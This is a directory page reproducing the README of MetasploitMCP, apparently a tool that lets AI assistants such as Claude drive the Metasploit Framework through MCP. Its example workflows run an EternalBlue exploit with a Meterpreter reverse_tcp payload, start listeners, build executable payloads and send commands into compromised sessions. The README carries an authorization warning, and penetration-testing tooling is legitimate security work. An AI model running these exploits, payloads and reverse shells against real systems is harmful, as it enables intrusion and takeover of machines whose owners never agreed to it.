Fire in da houseTop Tip:Paying $100+ per month for Perplexity, MidJourney, Runway, ChatGPT and other tools is crazy - get all your AI tools in one site starting at $15 per month with Galaxy AI Fire in da houseCheck it out free

MetasploitMCP

MCP.Pizza Chef: GH05TCREW

MetasploitMCP is an MCP server that integrates large language models with the Metasploit Framework, enabling AI-driven natural language control over penetration testing workflows. It exposes Metasploit modules and exploitation capabilities as standardized tools, allowing dynamic search, configuration, and execution of exploits, payloads, and auxiliary modules. This server facilitates seamless interaction between AI assistants and complex security testing environments.

Use This MCP server To

Search and list Metasploit exploit modules dynamically Filter and list payload modules by platform and architecture Execute exploits with pre-checks via natural language commands Run auxiliary Metasploit modules with custom options Trigger post-exploitation modules automatically after successful exploits Integrate AI assistants to control penetration testing workflows Automate security testing tasks using LLM-driven commands Enable real-time interaction with Metasploit from chat interfaces

README

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

22829111.mp4

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

  • list_exploits: Search and list available Metasploit exploit modules
  • list_payloads: Search and list available Metasploit payload modules with optional platform and architecture filtering

Exploitation Workflow

  • run_exploit: Configure and execute an exploit against a target with options to run checks first
  • run_auxiliary_module: Run any Metasploit auxiliary module with custom options
  • run_post_module: Execute post-exploitation modules against existing sessions

Payload Generation

  • generate_payload: Generate payload files using Metasploit RPC (saves files locally)

Session Management

  • list_active_sessions: Show current Metasploit sessions with detailed information
  • send_session_command: Run a command in an active shell or Meterpreter session
  • terminate_session: Forcefully end an active session

Handler Management

  • list_listeners: Show all active handlers and background jobs
  • start_listener: Create a new multi/handler to receive connections
  • stop_job: Terminate any running job or handler

Prerequisites

  • Metasploit Framework installed and msfrpcd running
  • Python 3.10 or higher
  • Required Python packages (see requirements.txt)

Installation

  1. Clone this repository
  2. Install dependencies:
    pip install -r requirements.txt
    
  3. Configure environment variables (optional):
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

  • HTTP/SSE (Server-Sent Events): Default mode for interoperability with most MCP clients
  • STDIO (Standard Input/Output): Used with Claude Desktop and similar direct pipe connections

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

  1. Start the server in HTTP mode:

    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure your MCP client to connect to:

    • SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

  • Always validate and review all commands before execution
  • Only run in segregated test environments or with proper authorization
  • Be aware that post-exploitation commands can result in significant system modifications

Example Workflows

Basic Exploitation

  1. List available exploits: list_exploits("ms17_010")
  2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. List sessions: list_active_sessions()
  4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

  1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Send custom commands: send_session_command(1, "sysinfo")
  3. Terminate when done: terminate_session(1)

Handler Management

  1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. List active handlers: list_listeners()
  3. Generate a payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Stop a handler: stop_job(1)

Configuration Options

Payload Save Directory

By default, payloads generated with generate_payload are saved to a payloads directory in your home folder (~/payloads or C:\Users\YourUsername\payloads). You can customize this location by setting the PAYLOAD_SAVE_DIR environment variable.

Setting the environment variable:

  • Windows (PowerShell):

    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Command Prompt):

    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS:

    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • In Claude Desktop config:

    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }

Note: If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

License

Apache 2.0

MetasploitMCP FAQ

How does MetasploitMCP enhance penetration testing workflows?
It allows AI models like Claude and Gemini to dynamically access and control Metasploit modules via natural language, streamlining complex security tasks.
What types of Metasploit modules can MetasploitMCP interact with?
It supports exploit, payload, auxiliary, and post-exploitation modules with flexible configuration options.
Can MetasploitMCP run checks before executing exploits?
Yes, it can perform pre-exploit checks to verify target vulnerability before running an exploit.
Is MetasploitMCP compatible with multiple LLM providers?
Yes, it is designed to work with OpenAI, Claude, Gemini, and other LLMs supporting MCP.
How does MetasploitMCP handle module configuration?
It exposes module options as structured inputs, allowing AI to set parameters dynamically before execution.
Can MetasploitMCP automate post-exploitation tasks?
Yes, it supports running post modules automatically after successful exploitation to extend control.
What security considerations are there when using MetasploitMCP?
It scopes AI access to Metasploit functionality securely and logs interactions for auditability.
How do I integrate MetasploitMCP with my AI assistant?
Connect your MCP client to the MetasploitMCP server endpoint and use the standardized MCP protocol to invoke modules.